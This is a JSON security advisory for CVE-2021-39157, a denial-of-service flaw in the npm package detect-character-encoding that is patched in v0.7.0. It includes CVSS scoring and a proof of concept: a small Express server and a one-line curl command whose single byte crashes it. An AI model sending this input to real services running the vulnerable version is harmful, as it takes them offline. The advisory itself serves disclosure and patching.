{"id":"GHSA-jqfh-8hw5-fqjr","summary":"Improper Handling of Exceptional Conditions in detect-character-encoding","details":"### Impact\n\nIn detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [detect-character-encoding v0.7.0](https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince detect-character-encoding is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst detectCharacterEncoding = require(\"detect-character-encoding\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) =\u003e {\n  const charsetMatch = detectCharacterEncoding(req.body);\n\n  res.end(charsetMatch.encoding);\n});\n\napp.listen(3000);\n```\n\n`printf \"\\xAA\" | curl --request POST --header \"Content-Type: application/octet-stream\" --data-binary @- http://localhost:3000` crashes the server.","aliases":["CVE-2021-39157"],"modified":"2026-07-08T06:29:33.959441802Z","published":"2021-08-25T14:44:48Z","database_specific":{"nvd_published_at":"2021-08-24T19:15:00Z","cwe_ids":["CWE-755"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2021-08-24T19:11:52Z"},"references":[{"type":"WEB","url":"https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-39157"},{"type":"WEB","url":"https://github.com/sonicdoe/detect-character-encoding/issues/15"},{"type":"WEB","url":"https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a"},{"type":"PACKAGE","url":"https://github.com/sonicdoe/detect-character-encoding"},{"type":"WEB","url":"https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0"}],"affected":[{"package":{"name":"detect-character-encoding","ecosystem":"npm","purl":"pkg:npm/detect-character-encoding"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/08/GHSA-jqfh-8hw5-fqjr/GHSA-jqfh-8hw5-fqjr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}